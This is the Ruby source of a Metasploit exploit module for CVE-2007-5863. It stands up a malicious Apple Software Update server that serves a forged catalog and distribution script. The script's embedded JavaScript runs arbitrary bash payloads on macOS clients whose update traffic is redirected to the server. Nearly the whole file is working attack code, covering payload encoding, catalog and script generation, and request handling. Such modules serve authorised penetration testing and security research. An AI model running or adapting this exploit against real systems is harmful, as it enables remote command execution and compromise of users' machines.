158 lines
4.4 KiB
Ruby
158 lines
4.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apple OS X Software Update Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a feature in the Distribution Packages,
|
|
which are used in the Apple Software Update mechanism. This feature
|
|
allows for arbitrary command execution through JavaScript. This exploit
|
|
provides the malicious update server. Requests must be redirected to
|
|
this server by other means for this exploit to work.
|
|
},
|
|
'Author' => [ 'Moritz Jodeit <moritz@jodeit.org>' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2007-5863'],
|
|
['OSVDB', '40722'],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
}
|
|
},
|
|
'Platform' => 'osx',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Automatic',
|
|
{
|
|
'Platform' => [ 'unix' ],
|
|
'Arch' => ARCH_CMD,
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Dec 17 2007',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
|
|
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
|
|
], self.class)
|
|
end
|
|
|
|
# Encode some characters using character entity references and escape any
|
|
# quotation characters, by splitting the string into multiple parts.
|
|
def encode_payload(payload)
|
|
encoded = payload.gsub(/[&<>"']/) do |s|
|
|
case s
|
|
when '&'
|
|
"&"
|
|
when '<'
|
|
"<"
|
|
when '>'
|
|
">"
|
|
when '"'
|
|
'"+\'"\'+"'
|
|
when '\''
|
|
"'"
|
|
end
|
|
end
|
|
return '"' + encoded + '"'
|
|
end
|
|
|
|
# Generate the initial catalog file with references to the
|
|
# distribution script, which does the actual exploitation.
|
|
def generate_catalog(server)
|
|
languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
|
|
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
|
|
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
|
|
distfile = rand_text_alpha(8) + ".dist"
|
|
|
|
sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
|
|
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
|
|
sucatalog << '<plist version="1.0">'
|
|
sucatalog << '<dict>'
|
|
sucatalog << '<key>Products</key><dict>'
|
|
sucatalog << "<key>#{productkey}</key><dict>"
|
|
sucatalog << '<key>Distributions</key><dict>'
|
|
|
|
languages.each do |l|
|
|
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
|
|
end
|
|
|
|
sucatalog << '</dict></dict></dict></dict></plist>'
|
|
|
|
return sucatalog
|
|
end
|
|
|
|
# Generate distribution script, which calls our payload using JavaScript.
|
|
def generate_dist(payload)
|
|
func = rand_text_alpha(8)
|
|
|
|
dist = '<?xml version="1.0" encoding="UTF-8"?>'
|
|
dist << "<installer-gui-script minSpecVersion='1'>"
|
|
dist << '<options allow-external-scripts = "yes"/>'
|
|
dist << "<choices-outline ui='SoftwareUpdate'>"
|
|
dist << "<line choice='su'/>"
|
|
dist << "</choices-outline>"
|
|
dist << "<choice id='su' visible ='#{func}()'/>"
|
|
dist << "<script>"
|
|
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
|
|
dist << "</script>"
|
|
dist << "</installer-gui-script>"
|
|
|
|
return dist
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
date = Time.now
|
|
server = "swscan.apple.com"
|
|
|
|
header = {
|
|
'Content-Type' => 'text/plain',
|
|
'Last-Modified' => date,
|
|
'Date' => date,
|
|
}
|
|
|
|
if request.uri =~ /\.sucatalog$/
|
|
print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}")
|
|
body = generate_catalog(server)
|
|
elsif request.uri =~ /\.dist$/
|
|
print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}")
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
body = generate_dist(p.encoded)
|
|
else
|
|
return
|
|
end
|
|
send_response(cli, body, header)
|
|
handler(cli)
|
|
end
|
|
|
|
end
|